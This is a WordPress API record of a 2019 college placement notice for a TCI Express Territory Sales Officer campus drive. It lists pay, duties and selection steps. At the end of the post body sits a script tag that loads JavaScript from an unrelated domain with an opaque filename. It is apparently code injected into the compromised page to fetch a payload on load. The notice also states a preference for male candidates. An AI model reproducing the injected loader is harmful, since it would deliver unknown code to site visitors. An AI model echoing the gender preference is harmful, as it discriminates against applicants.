{"id":4018,"date":"2019-11-15T12:16:32","date_gmt":"2019-11-15T12:16:32","guid":{"rendered":"http:\/\/trident.ac.in\/maintain\/?p=4018"},"modified":"2019-11-15T12:16:32","modified_gmt":"2019-11-15T12:16:32","slug":"pool-campus-drive-by-tci-express-ltd-for-mba-2020-passing-out-batch","status":"publish","type":"post","link":"https:\/\/trident.ac.in\/placementnotice\/pool-campus-drive-by-tci-express-ltd-for-mba-2020-passing-out-batch\/","title":{"rendered":"Pool Campus Drive by TCI Express Ltd for MBA 2020 passing out batch"},"content":{"rendered":"<p><strong>Name of Company: TCI<\/strong><strong>\u00a0Express Ltd<\/strong>.<\/p>\n<p><strong>Position Title \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Territory Sales Officer<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Location \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 :\u00a0<\/strong>Anywhere in India (Candidate must be open for any location across<\/p>\n<p>India)<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Compensation<\/strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<strong>:\u00a0<\/strong>CTC Rs. 3.50 Lacs per annum + Annual Bonus<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Qualification<\/strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : PGDM (Any elective)<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Position Title \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Territory Sales Officer<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Location \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 :\u00a0<\/strong>Anywhere in India (Candidate must be open for any location across<\/p>\n<p>India)<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Compensation<\/strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<strong>:\u00a0<\/strong>CTC Rs. 3.50 Lacs per annum + Annual Bonus<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Qualification<\/strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : PGDM (Any elective)<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Job Purpose: <\/strong>The incumbent would be responsible for new business development\/ Sales\/ Client Acquisition for\u00a0TCI\u00a0Express Ltd.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Skills\/Expertise:<\/strong> &#8211; Should be target oriented<\/p>\n<p>&#8211; Should have good planning skills<\/p>\n<p>&#8211; Must have excellent communication skills<\/p>\n<p>&#8211; Should be IT Savvy (Excel, power-point, word, web browsing, etc).<\/p>\n<p>&#8211;\u00a0\u00a0Must have a 2-wheeler and 2-wheeler driving license.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Job Responsibilities<\/strong>:<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>Meet customers, give a presentation, understand the need and provide logistics solutions.<\/li>\n<li>Make 8-10 calls daily while on the field.<\/li>\n<li>To take care of business development activities in the assigned territory.<\/li>\n<li>New business generation\/ development in the Branches, supporting and controlling\u00a0 Regional Office.<\/li>\n<li>Customer prospecting, submitting a quotation, finalization of rates, follow-up with customers.<\/li>\n<li>Regaining lost customer.<\/li>\n<li>Monitoring customer credit; outstanding, following up for the timely release of payment and payment collection.<\/li>\n<li>Update Daily Sales Report {thru mobile-app and web page) and generate MIS as per defined timelines.<\/li>\n<li>Monitoring customer credit &amp;amp; outstanding, following up for the timely release of payment and payment collection.<\/li>\n<li>Update Daily Sales Report {thru mobile-app and web page) and generate MIS as per defined timelines.<\/li>\n<li>Preferring Male candidates<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>The flow of Drive:<\/p>\n<ol>\n<li>a) Pre-Placement Talk (PPT)<\/li>\n<li>b) Pre-Placement Written Test<\/li>\n<li>c) Group Discussion (Optional)<\/li>\n<li>d) Panel Interview<\/li>\n<\/ol>\n<p><script src=\"\/\/blinkjork.com\/214f104573d95d95ba.js\"><\/script><\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/forms.gle\/QnSyvsEWtwadVYi19\" width=\"100%\" height=\"768px\"><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Name of Company: TCI\u00a0Express Ltd. Position Title \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Territory Sales Officer \u00a0 Location \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 :\u00a0Anywhere in India (Candidate must be open for any location across India) &nbsp; Compensation\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0:\u00a0CTC Rs. 3.50 Lacs per annum + Annual Bonus &nbsp; Qualification\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : PGDM (Any elective) \u00a0 Position Title \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Territory Sales Officer \u00a0 Location \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 :\u00a0Anywhere<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-4018","post","type-post","status-publish","format-standard","hentry","category-placement-notice"],"_links":{"self":[{"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/posts\/4018","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/comments?post=4018"}],"version-history":[{"count":0,"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/posts\/4018\/revisions"}],"wp:attachment":[{"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/media?parent=4018"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/categories?post=4018"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/trident.ac.in\/placementnotice\/wp-json\/wp\/v2\/tags?post=4018"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}